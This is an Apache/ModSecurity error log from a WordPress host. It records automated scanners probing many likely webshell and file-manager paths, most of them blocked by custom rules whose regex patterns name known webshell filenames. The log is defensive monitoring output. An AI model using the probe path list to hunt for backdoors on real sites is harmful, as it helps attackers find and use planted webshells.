[Sun Mar 15 03:57:44.453359 2026] [:error] [pid 30509:tid 30588] [client 212.30.36.143:28537] [client 212.30.36.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "abW9uKDOtSZYYHQXlLwyFgAAAIg"]
[Sun Mar 15 03:57:45.017963 2026] [:error] [pid 30606:tid 30616] [client 212.30.36.114:35235] [client 212.30.36.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "abW9uZL8iO1J-XSfSz3WVAAAAMc"]
[Sun Mar 15 03:57:45.587931 2026] [:error] [pid 30606:tid 30614] [client 212.30.36.106:34337] [client 212.30.36.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "abW9uZL8iO1J-XSfSz3WXQAAAMU"]
[Sun Mar 15 03:57:46.149694 2026] [:error] [pid 30606:tid 30624] [client 212.30.36.139:60255] [client 212.30.36.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "abW9upL8iO1J-XSfSz3WZgAAAM8"]
[Sun Mar 15 03:57:49.561110 2026] [:error] [pid 30496:tid 30538] [client 212.30.36.156:33329] [client 212.30.36.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "abW9va4QOwe6Md2U2lCYXAAAAAw"]
[Sun Mar 15 03:57:52.849843 2026] [:error] [pid 30606:tid 30624] [client 212.30.36.128:51151] [client 212.30.36.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "abW9wJL8iO1J-XSfSz3WjgAAAM8"]
[Sun Mar 15 03:57:54.678519 2026] [:error] [pid 30496:tid 30539] [client 212.30.36.120:49465] [client 212.30.36.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "abW9wq4QOwe6Md2U2lCYcQAAAA0"]
[Sun Mar 15 03:57:57.282522 2026] [:error] [pid 30606:tid 30629] [client 212.30.36.143:64127] [client 212.30.36.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "abW9xZL8iO1J-XSfSz3WsQAAANQ"]
[Sun Mar 15 03:57:58.460306 2026] [:error] [pid 30509:tid 30592] [client 212.30.36.144:55777] [client 212.30.36.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "abW9xqDOtSZYYHQXlLwyawAAAIw"]
[Sun Mar 15 03:57:59.042884 2026] [:error] [pid 30508:tid 30560] [client 212.30.36.152:39841] [client 212.30.36.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "abW9x6bBTYOXN2Gho1E5ewAAAEc"]
[Sun Mar 15 03:58:01.450155 2026] [:error] [pid 30509:tid 30603] [client 212.30.36.146:63643] [client 212.30.36.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "abW9yaDOtSZYYHQXlLwykgAAAJc"]
[Sun Mar 15 03:58:03.827447 2026] [:error] [pid 30508:tid 30573] [client 212.30.36.119:63861] [client 212.30.36.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/colour.php"] [unique_id "abW9y6bBTYOXN2Gho1E5twAAAFQ"]
[Sun Mar 15 03:58:04.401929 2026] [:error] [pid 30509:tid 30596] [client 212.30.36.148:34733] [client 212.30.36.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "abW9zKDOtSZYYHQXlLwypwAAAJA"]
[Sun Mar 15 03:58:04.991802 2026] [:error] [pid 30509:tid 30586] [client 212.30.36.152:45279] [client 212.30.36.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "abW9zKDOtSZYYHQXlLwyrwAAAIY"]
[Sun Mar 15 03:58:05.550902 2026] [:error] [pid 30509:tid 30600] [client 212.30.36.111:53729] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Sun Mar 15 03:58:08.842828 2026] [:error] [pid 30509:tid 30589] [client 212.30.36.111:53729] [client 212.30.36.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "abW90KDOtSZYYHQXlLwyzgAAAIk"]
[Sun Mar 15 03:58:10.002961 2026] [:error] [pid 30509:tid 30591] [client 212.30.36.111:58763] [client 212.30.36.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "abW90qDOtSZYYHQXlLwy2wAAAIs"]
[Sun Mar 15 03:58:11.196107 2026] [:error] [pid 30606:tid 30616] [client 212.30.36.114:65221] [client 212.30.36.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "abW905L8iO1J-XSfSz3XYAAAAMc"]
[Sun Mar 15 03:58:12.007377 2026] [:error] [pid 30606:tid 30610] [client 212.30.36.126:24501] [client 212.30.36.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "abW91JL8iO1J-XSfSz3XaQAAAME"]
[Sun Mar 15 03:58:12.583707 2026] [:error] [pid 30508:tid 30572] [client 212.30.36.141:47901] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Sun Mar 15 03:58:13.751456 2026] [:error] [pid 30508:tid 30558] [client 212.30.36.141:47901] [client 212.30.36.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "abW91abBTYOXN2Gho1E6DwAAAEU"]
[Sun Mar 15 03:58:14.323818 2026] [:error] [pid 30496:tid 30532] [client 212.30.36.148:52931] [client 212.30.36.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "abW91q4QOwe6Md2U2lCZGgAAAAY"]
[Sun Mar 15 03:58:15.523582 2026] [:error] [pid 30509:tid 30592] [client 212.30.36.134:41073] [client 212.30.36.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "abW916DOtSZYYHQXlLwzBwAAAIw"]
[Sun Mar 15 03:58:16.078337 2026] [:error] [pid 30606:tid 30615] [client 212.30.36.138:39887] [client 212.30.36.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "abW92JL8iO1J-XSfSz3XkQAAAMY"]
[Sun Mar 15 03:58:17.588101 2026] [:error] [pid 30496:tid 30543] [client 212.30.36.105:53353] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Sun Mar 15 03:58:18.749045 2026] [:error] [pid 30496:tid 30526] [client 212.30.36.105:53353] [client 212.30.36.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "abW92q4QOwe6Md2U2lCZVAAAAAA"]
[Sun Mar 15 03:58:19.296689 2026] [:error] [pid 30508:tid 30560] [client 212.30.36.140:25309] [client 212.30.36.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "abW926bBTYOXN2Gho1E6NgAAAEc"]
[Sun Mar 15 04:34:17.781132 2026] [:error] [pid 9995:tid 10005] [client 98.159.43.154:47305] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Sun Mar 15 04:34:17.910332 2026] [:error] [pid 9995:tid 10009] [client 98.159.43.154:47305] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Sun Mar 15 04:34:18.004220 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.154:47305] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "abXGSga8xkcaSmgTbwizxwAAARQ"]
[Sun Mar 15 04:34:18.267474 2026] [:error] [pid 9995:tid 10003] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sun Mar 15 04:34:18.409431 2026] [:error] [pid 9995:tid 10013] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Sun Mar 15 04:34:18.696961 2026] [:error] [pid 9995:tid 10013] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sun Mar 15 04:34:18.834580 2026] [:error] [pid 9995:tid 10007] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sun Mar 15 04:34:18.970636 2026] [:error] [pid 9995:tid 10000] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sun Mar 15 04:34:19.067283 2026] [:error] [pid 9995:tid 10002] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sun Mar 15 04:34:19.178830 2026] [:error] [pid 9995:tid 9998] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sun Mar 15 04:34:19.305045 2026] [:error] [pid 9995:tid 10005] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Sun Mar 15 04:34:19.401246 2026] [:error] [pid 9995:tid 10008] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Sun Mar 15 04:34:19.534172 2026] [:error] [pid 9995:tid 10009] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Sun Mar 15 04:34:19.720172 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Sun Mar 15 04:34:19.816944 2026] [:error] [pid 9995:tid 10020] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Sun Mar 15 04:34:19.911463 2026] [:error] [pid 9995:tid 9999] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Sun Mar 15 04:34:20.014392 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Mar 15 04:34:20.127788 2026] [:error] [pid 9995:tid 10021] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-api.php
[Sun Mar 15 04:34:20.269248 2026] [:error] [pid 9995:tid 10015] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Sun Mar 15 04:34:20.463134 2026] [:error] [pid 9995:tid 10000] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Sun Mar 15 04:34:20.558548 2026] [:error] [pid 9995:tid 10002] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sun Mar 15 04:34:20.697137 2026] [:error] [pid 9995:tid 10010] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/warm.PhP
[Sun Mar 15 04:34:20.814397 2026] [:error] [pid 9995:tid 10009] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Sun Mar 15 04:34:20.923539 2026] [:error] [pid 9995:tid 10016] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Sun Mar 15 04:34:21.056540 2026] [:error] [pid 9995:tid 10006] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Sun Mar 15 04:34:21.183253 2026] [:error] [pid 9995:tid 10017] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Sun Mar 15 04:34:21.284837 2026] [:error] [pid 9995:tid 10020] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Sun Mar 15 04:34:21.393992 2026] [:error] [pid 9995:tid 9999] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sun Mar 15 04:34:21.500934 2026] [:error] [pid 9995:tid 10022] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Sun Mar 15 04:34:21.606065 2026] [:error] [pid 9995:tid 10013] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Sun Mar 15 04:34:21.756380 2026] [:error] [pid 9995:tid 10007] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Sun Mar 15 04:34:21.855250 2026] [:error] [pid 9995:tid 10002] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sun Mar 15 04:34:21.970375 2026] [:error] [pid 9995:tid 10009] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sun Mar 15 04:34:22.137711 2026] [:error] [pid 9995:tid 10012] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Sun Mar 15 04:34:22.246064 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Sun Mar 15 04:34:22.354774 2026] [:error] [pid 9995:tid 10020] [client 98.159.43.120:29225] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Sun Mar 15 04:34:22.468509 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.120:29225] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "abXGTga8xkcaSmgTbwi0EAAAARU"]
[Sun Mar 15 04:34:23.713105 2026] [:error] [pid 38536:tid 38558] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Sun Mar 15 04:34:23.903778 2026] [:error] [pid 38536:tid 38556] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Sun Mar 15 04:34:24.018421 2026] [:error] [pid 38536:tid 38570] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Sun Mar 15 04:34:24.134879 2026] [:error] [pid 38536:tid 38571] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Sun Mar 15 04:34:24.243088 2026] [:error] [pid 38536:tid 38566] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Sun Mar 15 04:34:24.385133 2026] [:error] [pid 38536:tid 38574] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Sun Mar 15 04:34:24.488738 2026] [:error] [pid 38536:tid 38576] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Sun Mar 15 04:34:24.635873 2026] [:error] [pid 38536:tid 38554] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sun Mar 15 04:34:24.832398 2026] [:error] [pid 38536:tid 38565] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Sun Mar 15 04:34:26.941731 2026] [:error] [pid 38536:tid 38565] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Sun Mar 15 04:34:27.082803 2026] [:error] [pid 38536:tid 38564] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Mar 15 04:34:27.195599 2026] [:error] [pid 38536:tid 38576] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Sun Mar 15 04:34:27.322864 2026] [:error] [pid 38536:tid 38557] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Sun Mar 15 04:34:27.486004 2026] [:error] [pid 38536:tid 38554] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Sun Mar 15 04:34:27.604251 2026] [:error] [pid 38536:tid 38572] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Sun Mar 15 04:34:27.716969 2026] [:error] [pid 38536:tid 38575] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/exit.php
[Sun Mar 15 04:34:27.821334 2026] [:error] [pid 38536:tid 38553] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Sun Mar 15 04:34:27.924487 2026] [:error] [pid 38536:tid 38573] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Sun Mar 15 04:34:28.077606 2026] [:error] [pid 38536:tid 38563] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Sun Mar 15 04:34:28.194880 2026] [:error] [pid 38536:tid 38569] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sun Mar 15 04:34:28.307624 2026] [:error] [pid 38536:tid 38568] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Sun Mar 15 04:34:28.549153 2026] [:error] [pid 38536:tid 38567] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Sun Mar 15 04:34:28.672698 2026] [:error] [pid 38536:tid 38564] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Sun Mar 15 04:34:28.804577 2026] [:error] [pid 38536:tid 38576] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sun Mar 15 04:34:28.915270 2026] [:error] [pid 38536:tid 38557] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Sun Mar 15 04:34:29.011536 2026] [:error] [pid 38536:tid 38554] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Sun Mar 15 04:34:29.118816 2026] [:error] [pid 38536:tid 38572] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Sun Mar 15 04:34:29.255647 2026] [:error] [pid 38536:tid 38575] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Sun Mar 15 04:34:29.536151 2026] [:error] [pid 38536:tid 38573] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Sun Mar 15 04:34:29.805960 2026] [:error] [pid 38536:tid 38577] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Sun Mar 15 04:34:29.902987 2026] [:error] [pid 38536:tid 38576] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Sun Mar 15 04:34:30.018420 2026] [:error] [pid 38536:tid 38554] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Sun Mar 15 04:34:30.180833 2026] [:error] [pid 38536:tid 38553] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Sun Mar 15 04:34:30.275661 2026] [:error] [pid 38536:tid 38555] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Sun Mar 15 04:34:30.416931 2026] [:error] [pid 38536:tid 38558] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Sun Mar 15 04:34:30.635164 2026] [:error] [pid 38536:tid 38568] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Sun Mar 15 04:34:32.796253 2026] [:error] [pid 38536:tid 38568] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Sun Mar 15 04:34:32.894379 2026] [:error] [pid 38536:tid 38567] [client 98.159.43.134:64825] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sun Mar 15 04:34:32.991969 2026] [:error] [pid 38536:tid 38557] [client 98.159.43.134:64825] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "abXGWPpTEqkVJ0rBEWtoMgAAAAQ"]
[Sun Mar 15 04:34:33.349062 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Sun Mar 15 04:34:33.458008 2026] [:error] [pid 38645:tid 38649] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Sun Mar 15 04:34:33.551142 2026] [:error] [pid 38645:tid 38652] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Sun Mar 15 04:34:33.673713 2026] [:error] [pid 38645:tid 38663] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
